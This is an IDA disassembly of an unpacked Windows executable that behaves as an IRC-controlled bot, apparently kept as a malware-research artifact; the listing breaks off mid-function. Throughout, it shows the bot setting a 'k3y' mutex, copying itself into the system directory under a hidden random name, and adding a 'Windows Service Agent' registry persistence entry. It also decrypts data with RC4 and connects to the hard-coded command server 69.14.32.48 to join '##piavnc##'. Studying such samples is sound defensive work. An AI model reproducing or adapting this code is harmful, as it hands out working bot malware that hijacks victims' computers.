; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : CF5D1ADAC7A55F2ED439BFCAA37A49CE ; File Name : u:\work\cf5d1adac7a55f2ed439bfcaa37a49ce_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0003B853 ( 243795.) ; Section size in file : 0003B853 ( 243795.) ; Offset to raw data for section: 00001000 ; Flags 60000020: Text Executable Readable ; Alignment : default ; OS type : MS Windows ; Application type: Executable 32bit unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_401000(char *Str) sub_401000 proc near ; CODE XREF: WinMain(x,x,x,x)+358p ; sub_41912E+1Ep var_4 = dword ptr -4 Str = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_440050 xor esi, esi mov ebx, offset aWindowsService ; "Windows Service Agent" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4E41D4 ; RegCreateKeyExA cmp [ebp+Str], esi jz short loc_40104D push [ebp+Str] ; Str call _strlen pop ecx push eax push [ebp+Str] push 1 push esi push ebx push [ebp+var_4] call dword_4E4244 ; RegSetValueExA jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4E4184 ; RegDeleteValueA loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4E41FC ; RegCloseKey add edi, 8 cmp edi, offset dword_440068 jb short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, ds:dword_43D01C[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4010AB(char *Filename) sub_4010AB proc near ; CODE XREF: sub_416F9A+24Ap var_10 = dword ptr -10h Filename = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx ; Mode call _malloc mov [esp+10h+var_10], offset dword_440068 push [esp+10h+Filename] ; Filename mov esi, eax call _fopen mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx ; NewSize push esi ; Memory call _realloc mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi ; File push 1 ; Count lea eax, [esi+ebx-1] push 1 ; ElementSize push eax ; DstBuf call sub_41EFA0 add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi ; Memory mov ebx, eax call _free push edi ; File call _fclose add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 240h push ebx push esi lea eax, [ebp-34h] push edi xor ebx, ebx push eax xor edi, edi mov byte ptr [ebp-34h], 0Ah mov byte ptr [ebp-33h], 0Eh mov byte ptr [ebp-32h], 20h mov byte ptr [ebp-31h], 48h mov byte ptr [ebp-30h], 0Bh mov byte ptr [ebp-2Fh], 2Bh mov byte ptr [ebp-2Eh], 0Ch mov byte ptr [ebp-2Dh], 23h mov byte ptr [ebp-2Ch], 3Ah mov byte ptr [ebp-2Bh], 27h mov byte ptr [ebp-2Ah], 28h mov byte ptr [ebp-29h], 5Eh mov byte ptr [ebp-28h], 2Ah mov byte ptr [ebp-27h], 1Eh mov byte ptr [ebp-26h], 2Dh mov byte ptr [ebp-25h], 5Ah mov byte ptr [ebp-24h], 1Bh mov byte ptr [ebp-23h], 0Fh mov byte ptr [ebp-22h], 4Ch mov byte ptr [ebp-21h], 44h mov byte ptr [ebp-20h], 16h mov byte ptr [ebp-1Fh], 4 mov byte ptr [ebp-1Eh], 57h mov byte ptr [ebp-1Dh], 23h mov byte ptr [ebp-1Ch], 11h mov byte ptr [ebp-1Bh], 53h mov byte ptr [ebp-1Ah], 38h mov byte ptr [ebp-19h], 13h mov byte ptr [ebp-18h], 0Dh mov byte ptr [ebp-17h], 12h mov byte ptr [ebp-16h], 25h mov byte ptr [ebp-15h], 1Ch mov byte ptr [ebp-14h], 30h mov byte ptr [ebp-13h], 12h mov byte ptr [ebp-12h], 50h mov byte ptr [ebp-11h], 4Fh mov byte ptr [ebp-10h], 39h mov byte ptr [ebp-0Fh], 10h mov byte ptr [ebp-0Eh], 42h mov byte ptr [ebp-0Dh], 1Fh mov byte ptr [ebp-0Ch], 37h mov byte ptr [ebp-0Bh], 1Dh mov byte ptr [ebp-0Ah], 41h mov byte ptr [ebp-9], 55h mov byte ptr [ebp-8], 2Ch mov byte ptr [ebp-7], 41h mov byte ptr [ebp-6], 2Ch mov byte ptr [ebp-5], 58h mov [ebp-4], bl call _strlen mov esi, 101h mov [ebp-38h], eax push esi lea eax, [ebp-13Ch] push ebx push eax call _memset push esi lea eax, [ebp-240h] push ebx push eax call _memset add esp, 1Ch xor eax, eax mov ecx, 100h loc_401227: ; CODE XREF: .text:00401231j mov [ebp+eax-13Ch], al inc eax cmp eax, ecx jb short loc_401227 cmp [ebp+14h], ebx jz short loc_401256 xor eax, eax loc_40123A: ; CODE XREF: .text:00401252j cmp edi, [ebp+14h] jnz short loc_401241 xor edi, edi loc_401241: ; CODE XREF: .text:0040123Dj mov edx, [ebp+10h] mov dl, [edi+edx] inc edi mov [ebp+eax-240h], dl inc eax cmp eax, ecx jb short loc_40123A jmp short loc_401270 ; --------------------------------------------------------------------------- loc_401256: ; CODE XREF: .text:00401236j xor esi, esi loc_401258: ; CODE XREF: .text:0040126Ej cmp edi, [ebp-38h] jnz short loc_40125F xor edi, edi loc_40125F: ; CODE XREF: .text:0040125Bj mov al, [ebp+edi-34h] inc edi mov [ebp+esi-240h], al inc esi cmp esi, ecx jb short loc_401258 loc_401270: ; CODE XREF: .text:00401254j mov [ebp+14h], ebx xor edi, edi mov eax, 0FFh loc_40127A: ; CODE XREF: .text:004012B4j mov dl, [ebp+edi-13Ch] mov ebx, [ebp+14h] mov cl, [ebp+edi-240h] lea esi, [ebp+edi-13Ch] add ebx, edx add ecx, ebx and ecx, eax inc edi mov [ebp+14h], ecx cmp edi, 100h mov bl, [ebp+ecx-13Ch] lea ecx, [ebp+ecx-13Ch] mov [esi], bl mov [ecx], dl jb short loc_40127A xor edi, edi cmp [ebp+0Ch], edi mov [ebp+14h], edi mov [ebp+10h], edi jbe short loc_401312 loc_4012C3: ; CODE XREF: .text:00401310j inc edi and edi, eax mov dl, [ebp+edi-13Ch] lea ecx, [ebp+edi-13Ch] mov bl, dl add ebx, [ebp+14h] and ebx, eax mov esi, ebx mov bl, [ebp+esi-13Ch] mov [ebp+14h], esi mov [ecx], bl lea esi, [ebp+esi-13Ch] mov ebx, [ebp+10h] mov [esi], dl mov cl, [ecx] mov esi, [ebp+8] add ecx, edx and ecx, eax add esi, ebx mov cl, [ebp+ecx-13Ch] xor [esi], cl inc ebx cmp ebx, [ebp+0Ch] mov [ebp+10h], ebx jb short loc_4012C3 loc_401312: ; CODE XREF: .text:004012C1j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401317 proc near ; DATA XREF: WinMain(x,x,x,x)+14o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h Dst = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_457134 call dword_4E42B8 ; closesocket call sub_40B957 call dword_4E4178 ; WSACleanup call dword_4E4178 ; WSACleanup mov ebx, ds:dword_4F6380 push 64h call ebx ; Sleep xor edi, edi push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_54] pop esi push esi ; Size push edi ; Val push eax ; Dst call _memset add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_4563A0 mov [ebp+var_28], 1 mov [ebp+var_24], di call ds:dword_4F637C ; GetSystemDirectoryA lea eax, [ebp+var_158] push esi push eax push edi call ds:dword_4F6378 ; GetModuleFileNameA lea eax, [ebp+Dst] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call ds:dword_4F6374 ; CreateProcessA test eax, eax jz short loc_4013DC push 64h call ebx ; Sleep push [ebp+Dst] mov esi, ds:dword_4F6370 call esi ; CloseHandle push [ebp+var_C] call esi ; CloseHandle loc_4013DC: ; CODE XREF: sub_401317+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_456398 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi call ds:dword_4F636C ; ExitProcess pop edi pop esi pop ebx loc_4013FF: ; DATA XREF: .data:00440004o jmp $+5 push 0FFFFh push 539h call sub_419589 pop ecx mov dword_4E3F28, eax pop ecx retn sub_401317 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd) _WinMain@16 proc near ; CODE XREF: start+121p var_988 = byte ptr -988h var_884 = byte ptr -884h var_883 = byte ptr -883h Filename = byte ptr -6F4h Str = byte ptr -5F4h Ext = byte ptr -4F0h SubStr = byte ptr -3F0h FullPath = byte ptr -2ECh Dest = byte ptr -1E8h var_E4 = dword ptr -0E4h var_D8 = dword ptr -0D8h var_B8 = dword ptr -0B8h var_B4 = word ptr -0B4h Source = byte ptr -0A0h Dst = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 hInstance = dword ptr 8 hPrevInstance = dword ptr 0Ch lpCmdLine = dword ptr 10h nShowCmd = dword ptr 14h push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp+var_8], ebx mov [ebp+var_C], ebx mov [ebp+var_4], offset sub_401317 push [ebp+var_4] push large dword ptr fs:0 mov large fs:0, esp mov esi, ds:dword_4F63B0 call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_4E3F2C, eax call esi ; GetTickCount push eax ; Seed call _srand pop ecx call sub_409E0C push 2 call dword_4E42CC ; SetErrorMode push 7530h push offset aK3y ; "k3y" push ebx push ebx call ds:dword_4F63AC ; CreateMutexA push eax call ds:dword_4F63A8 ; WaitForSingleObject cmp eax, 102h jnz short loc_40149B push 1 call ds:dword_4F636C ; ExitProcess loc_40149B: ; CODE XREF: WinMain(x,x,x,x)+76j lea eax, [ebp+var_884] push eax push 202h call dword_4E4190 ; WSAStartup cmp eax, ebx jnz loc_4019DE cmp [ebp+var_884], 2 jnz loc_4019D8 xor eax, eax mov al, [ebp+var_883] cmp al, 2 jnz loc_4019D8 mov esi, 104h lea eax, [ebp+SubStr] push esi push eax call ds:dword_4F637C ; GetSystemDirectoryA lea eax, [ebp+FullPath] push esi push eax push ebx call ds:dword_4F63A4 ; GetModuleHandleA push eax call ds:dword_4F6378 ; GetModuleFileNameA lea eax, [ebp+Ext] push eax ; Ext lea eax, [ebp+Filename] push eax ; Filename push ebx ; Dir lea eax, [ebp+FullPath] push ebx ; Drive push eax ; FullPath call __splitpath add esp, 14h lea eax, [ebp+Ext] push eax lea eax, [ebp+Filename] push eax push offset aSS ; "%s%s" lea eax, [ebp+Str] push esi ; Count push eax ; Dest call __snprintf lea eax, [ebp+SubStr] push eax ; SubStr lea eax, [ebp+FullPath] push eax ; Str call _strstr add esp, 1Ch test eax, eax jnz loc_401710 cmp dword_4E4098, ebx mov esi, offset Str ; "wgl23.exe" jz short loc_401596 push esi ; Str xor edi, edi call _strlen sub eax, 4 pop ecx jz short loc_401596 loc_401573: ; CODE XREF: WinMain(x,x,x,x)+179j call _rand push 1Ah cdq pop ecx idiv ecx push esi ; Str add dl, 61h mov byte ptr Str[edi], dl ; "wgl23.exe" inc edi call _strlen sub eax, 4 pop ecx cmp edi, eax jb short loc_401573 loc_401596: ; CODE XREF: WinMain(x,x,x,x)+148j ; WinMain(x,x,x,x)+156j lea eax, [ebp+SubStr] push esi push eax lea eax, [ebp+Dest] push offset Format ; "%s\\%s" push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+Dest] push eax call ds:dword_4F63A0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_4015D6 lea eax, [ebp+Dest] push 80h push eax call ds:dword_4F639C ; SetFileAttributesA loc_4015D6: ; CODE XREF: WinMain(x,x,x,x)+1A7j mov esi, ds:dword_4F6398 lea eax, [ebp+Dest] push ebx push eax lea eax, [ebp+FullPath] xor edi, edi push eax loc_4015ED: ; CODE XREF: WinMain(x,x,x,x)+209j call esi ; CopyFileA test eax, eax jnz short loc_401626 call ds:dword_4F6394 ; RtlGetLastWin32Error cmp edi, ebx jnz short loc_401626 cmp eax, 20h jz short loc_401607 cmp eax, 5 jnz short loc_401626 loc_401607: ; CODE XREF: WinMain(x,x,x,x)+1E5j push 1 pop edi push 3A98h call ds:dword_4F6380 ; Sleep lea eax, [ebp+Dest] push ebx push eax lea eax, [ebp+FullPath] push eax jmp short loc_4015ED ; --------------------------------------------------------------------------- loc_401626: ; CODE XREF: WinMain(x,x,x,x)+1D6j ; WinMain(x,x,x,x)+1E0j ... lea eax, [ebp+Dest] push eax call sub_418FE7 pop ecx lea eax, [ebp+Dest] push 7 push eax call ds:dword_4F639C ; SetFileAttributesA push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_E4] pop esi push esi ; Size push ebx ; Val push eax ; Dst call _memset add esp, 18h mov [ebp+var_E4], esi mov [ebp+var_D8], offset dword_4E40BC mov [ebp+var_B4], bx push 1 pop esi mov [ebp+var_B8], esi call ds:dword_4F6390 ; GetCurrentProcessId push eax push esi push 100000h call ds:dword_4F638C ; OpenProcess lea ecx, [ebp+FullPath] push ecx push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+var_988] push offset aSDS ; "%s %d \"%s\"" push eax ; Dest call _sprintf add esp, 14h lea eax, [ebp+Dst] push eax lea eax, [ebp+var_E4] push eax lea eax, [ebp+SubStr] push eax push ebx push 28h push esi push ebx lea eax, [ebp+var_988] push ebx push eax lea eax, [ebp+Dest] push eax call ds:dword_4F6374 ; CreateProcessA test eax, eax jz short loc_401710 push 0C8h call ds:dword_4F6380 ; Sleep push [ebp+Dst] mov esi, ds:dword_4F6370 call esi ; CloseHandle push [ebp+var_1C] call esi ; CloseHandle call dword_4E4178 ; WSACleanup push ebx call ds:dword_4F636C ; ExitProcess loc_401710: ; CODE XREF: WinMain(x,x,x,x)+137j ; WinMain(x,x,x,x)+2CBj cmp dword_4F4788, 2 jle short loc_40175C mov eax, dword_4F478C push dword ptr [eax+4] ; Str call _atoi pop ecx mov esi, eax push 0FFFFFFFFh push esi call ds:dword_4F63A8 ; WaitForSingleObject push esi call ds:dword_4F6370 ; CloseHandle mov eax, dword_4F478C cmp [eax+8], ebx jz short loc_40175C push 7D0h call ds:dword_4F6380 ; Sleep mov eax, dword_4F478C push dword ptr [eax+8] call ds:dword_4F6388 ; DeleteFileA loc_40175C: ; CODE XREF: WinMain(x,x,x,x)+2FCj ; WinMain(x,x,x,x)+326j cmp dword_44008C, ebx jz short loc_401779 cmp dword_4E42F0, ebx jnz short loc_401779 lea eax, [ebp+Str] push eax ; Str call sub_401000 pop ecx loc_401779: ; CODE XREF: WinMain(x,x,x,x)+347j ; WinMain(x,x,x,x)+34Fj lea eax, [ebp+Source] push offset asc_440A60 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push ebx ; int push eax ; Source call sub_40B78E lea eax, [ebp+Source] push eax call sub_415C77 push 0B80h ; Size push ebx ; Val push offset dword_4563A8 ; Dst call _memset add esp, 24h lea eax, [ebp+Source] push offset asc_440A7C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 1 ; int push eax ; Source call sub_40B78E add esp, 14h mov esi, eax mov edi, ds:dword_4F6384 lea eax, [ebp+var_8] push eax push ebx push ebx push offset sub_41A919 push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov dword_45713C[esi], eax jnz short loc_40181C call ds:dword_4F6394 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_440AA0 ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_40181C: ; CODE XREF: WinMain(x,x,x,x)+3E4j lea eax, [ebp+Source] push eax call sub_415C77 push 2 call sub_40B9D6 pop ecx test eax, eax pop ecx jnz short loc_4018A1 lea eax, [ebp+Source] push offset asc_440AE0 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 2 ; int push eax ; Source call sub_40B78E add esp, 14h mov esi, eax lea eax, [ebp+var_8] push eax push ebx push esi push offset sub_410CB5 push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov dword_45713C[esi], eax jnz short loc_401894 call ds:dword_4F6394 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_440B0C ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_401894: ; CODE XREF: WinMain(x,x,x,x)+45Cj lea eax, [ebp+Source] push eax call sub_415C77 pop ecx loc_4018A1: ; CODE XREF: WinMain(x,x,x,x)+418j call _rand push 7Fh ; Count and eax, 3 push offset Source ; "69.14.32.48" push offset Dest ; Dest mov dword_4E40B4, eax call _strncpy mov eax, dword_44006C push 3Fh ; Count mov edi, offset byte_4E3FB4 push offset aPiavnc ; "##piavnc##" push edi ; Dest mov dword_4E4084, eax call _strncpy push 3Fh ; Count mov esi, offset byte_4E3FF4 push offset byte_4E40A0 ; Source push esi ; Dest call _strncpy add esp, 24h mov dword_4E4088, ebx loc_4018F6: ; CODE XREF: WinMain(x,x,x,x)+563j ; WinMain(x,x,x,x)+56Ej ... mov [ebp+var_4], ebx loc_4018F9: ; CODE XREF: WinMain(x,x,x,x)+517j push offset dword_4E3F30 mov dword_4E40B0, ebx call sub_4019E7 cmp eax, 2 mov [ebp+var_10], eax jz loc_4019D3 cmp dword_4E40B0, ebx jz short loc_401920 dec [ebp+var_4] loc_401920: ; CODE XREF: WinMain(x,x,x,x)+500j push 0BB8h call ds:dword_4F6380 ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_4018F9 cmp [ebp+var_10], 2 jz loc_4019D3 cmp [ebp+var_C], ebx jz short loc_401983 push 7Fh ; Count push offset Source ; "69.14.32.48" push offset Dest ; Dest call _strncpy mov eax, dword_44006C push 3Fh ; Count push offset aPiavnc ; "##piavnc##" push edi ; Dest mov dword_4E4084, eax call _strncpy push 3Fh ; Count push offset byte_4E40A0 ; Source push esi ; Dest call _strncpy add esp, 24h mov [ebp+var_C], ebx jmp loc_4018F6 ; --------------------------------------------------------------------------- loc_401983: ; CODE XREF: WinMain(x,x,x,x)+526j cmp byte_4E40A4, bl jz loc_4018F6 push 7Fh ; Count push offset byte_4E40A4 ; Source push offset Dest ; Dest call _strncpy mov eax, dword_440070 push 3Fh ; Count push offset byte_4E40A8 ; Source push edi ; Dest mov dword_4E4084, eax call _strncpy push 3Fh ; Count push offset byte_4E40AC ; Source push esi ; Dest call _strncpy add esp, 24h mov [ebp+var_C], 1 jmp loc_4018F6 ; --------------------------------------------------------------------------- loc_4019D3: ; CODE XREF: WinMain(x,x,x,x)+4F4j ; WinMain(x,x,x,x)+51Dj call sub_40B957 loc_4019D8: ; CODE XREF: WinMain(x,x,x,x)+A1j ; WinMain(x,x,x,x)+B1j call dword_4E4178 ; WSACleanup loc_4019DE: ; CODE XREF: WinMain(x,x,x,x)+94j pop edi pop esi xor eax, eax pop ebx leave retn 10h _WinMain@16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019E7 proc near ; CODE XREF: WinMain(x,x,x,x)+4E9p ; DATA XREF: sub_401CC7+677Co var_190 = dword ptr -190h Args = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h Dest = byte ptr -2Ch Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401A0C: ; CODE XREF: sub_4019E7+E6j ; sub_4019E7+136j ... push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_3C] call dword_4E4220 ; htons mov [ebp+var_E], ax lea eax, [ebp+Args] push eax call sub_40AE8D test eax, eax pop ecx mov [ebp+var_C], eax jz loc_401B39 push 1Ch ; Size lea eax, [ebp+Dest] push 0 ; Val push eax ; Dst call _memset push 0 ; Str1 lea eax, [ebp+Dest] push dword_44009C ; int push dword_440098 ; int push eax ; Dest call sub_40B487 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh ; Count add eax, offset byte_457140 push edi ; Source push eax ; Dest call _strncpy add esp, 28h push 6 push 1 push 2 call dword_4E42A0 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_457134[eax], esi lea eax, [ebp+Dst] push eax push esi call dword_4E41C8 ; connect cmp eax, 0FFFFFFFFh jnz short loc_401AD2 push esi call dword_4E42B8 ; closesocket call sub_40AEB6 push 7D0h loc_401AC7: ; CODE XREF: sub_4019E7+146j call ds:dword_4F6380 ; Sleep jmp loc_401A0C ; --------------------------------------------------------------------------- loc_401AD2: ; CODE XREF: sub_4019E7+CDj lea eax, [ebp+Args] push eax ; Args push offset asc_440B40 ; "-" call sub_415CEB push [ebp+var_38] lea eax, [ebp+Args] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401B4F add esp, 28h mov edi, eax push esi call dword_4E42B8 ; closesocket test edi, edi jz loc_401A0C cmp edi, 1 jnz short loc_401B2F push 0DBBA0h jmp short loc_401AC7 ; --------------------------------------------------------------------------- loc_401B2F: ; CODE XREF: sub_4019E7+13Fj cmp edi, 2 jz short loc_401B3D jmp loc_401A0C ; --------------------------------------------------------------------------- loc_401B39: ; CODE XREF: sub_4019E7+5Aj xor eax, eax jmp short loc_401B49 ; --------------------------------------------------------------------------- loc_401B3D: ; CODE XREF: sub_4019E7+14Bj push [ebp+var_34] call sub_40BAAA pop ecx push 2 pop eax loc_401B49: ; CODE XREF: sub_4019E7+154j pop edi pop esi leave retn 4 sub_4019E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B4F proc near ; CODE XREF: sub_4019E7+123p Dst = byte ptr -1A90h var_A90 = dword ptr -0A90h var_2C0 = dword ptr -2C0h var_140 = dword ptr -140h Str = byte ptr -0A0h Dest = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Source = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call __alloca_probe push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401B6D: ; CODE XREF: sub_401B4F+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401B6D cmp byte_4E409C, bl jz short loc_401B94 push offset byte_4E409C ; Args push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] ; int call sub_409D26 add esp, 0Ch loc_401B94: ; CODE XREF: sub_401B4F+2Ej push [ebp+Source] lea eax, [ebp+Dest] push ebx ; Str1 push ebx ; int push 2 ; int push eax ; Dest call sub_40B487 add esp, 10h push eax lea eax, [ebp+Str] push [ebp+Source] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax ; Dest call _sprintf add esp, 14h lea eax, [ebp+Str] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push [ebp+arg_0] call dword_4E4270 ; send cmp eax, 0FFFFFFFFh jnz short loc_401BFE push [ebp+arg_0] call dword_4E42B8 ; closesocket push 1388h call ds:dword_4F6380 ; Sleep loc_401BF7: ; CODE XREF: sub_401B4F+D9j ; sub_401B4F+153j xor eax, eax loc_401BF9: ; CODE XREF: sub_401B4F+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401BFE: ; CODE XREF: sub_401B4F+92j ; sub_401B4F+F8j ... mov esi, 1000h lea eax, [ebp+Dst] push esi ; Size push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push ebx push esi push eax push [ebp+arg_0] call dword_4E4238 ; recv test eax, eax jle short loc_401BF7 lea eax, [ebp+var_A90] push eax ; int lea eax, [ebp+Dst] push eax ; Str call sub_418CD0 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401BFE lea edi, [ebp+var_A90] loc_401C4F: ; CODE XREF: sub_401B4F+165j push 1 pop esi loc_401C52: ; CODE XREF: sub_401B4F+144j push [ebp+arg_1C] ; int lea eax, [ebp+var_8] push esi ; File push eax ; int lea eax, [ebp+var_140] push eax ; int lea eax, [ebp+var_2C0] push eax ; int push [ebp+arg_18] ; int push [ebp+Source] ; Source push [ebp+arg_8] ; int push [ebp+arg_4] ; int push [ebp+arg_0] ; int push dword ptr [edi] ; Src call sub_401CC7 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401C95 push 7D0h call ds:dword_4F6380 ; Sleep jmp short loc_401C52 ; --------------------------------------------------------------------------- loc_401C95: ; CODE XREF: sub_401B4F+137j cmp esi, 0FFFFFFFDh jz short loc_401CBF cmp esi, 0FFFFFFFEh jz short loc_401CBB cmp esi, 0FFFFFFFFh jz loc_401BF7 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401C4F jmp loc_401BFE ; --------------------------------------------------------------------------- loc_401CBB: ; CODE XREF: sub_401B4F+14Ej push 1 jmp short loc_401CC1 ; --------------------------------------------------------------------------- loc_401CBF: ; CODE XREF: sub_401B4F+149j push 2 loc_401CC1: ; CODE XREF: sub_401B4F+16Ej pop eax jmp loc_401BF9 sub_401B4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_401CC7(int Src,int,int,int,char *Source,int,int,int,int,FILE *File,int) sub_401CC7 proc near ; CODE XREF: sub_401B4F+12Ap var_5D98 = dword ptr -5D98h var_5D88 = dword ptr -5D88h var_5988 = byte ptr -5988h var_5588 = byte ptr -5588h var_53F8 = byte ptr -53F8h var_51F8 = byte ptr -51F8h Dest = byte ptr -50F4h FullPath = byte ptr -4FF4h var_4EF0 = byte ptr -4EF0h var_4DF0 = byte ptr -4DF0h var_4CF0 = byte ptr -4CF0h var_4BF0 = byte ptr -4BF0h var_4AF0 = byte ptr -4AF0h var_48F0 = byte ptr -48F0h var_47EC = byte ptr -47ECh var_46EC = byte ptr -46ECh var_45EC = dword ptr -45ECh var_4588 = byte ptr -4588h Str = byte ptr -4488h var_4288 = byte ptr -4288h var_4188 = byte ptr -4188h var_4088 = byte ptr -4088h var_3F88 = dword ptr -3F88h var_3F84 = byte ptr -3F84h var_3F04 = byte ptr -3F04h var_3E00 = byte ptr -3E00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = dword ptr -3CE8h var_3CE4 = 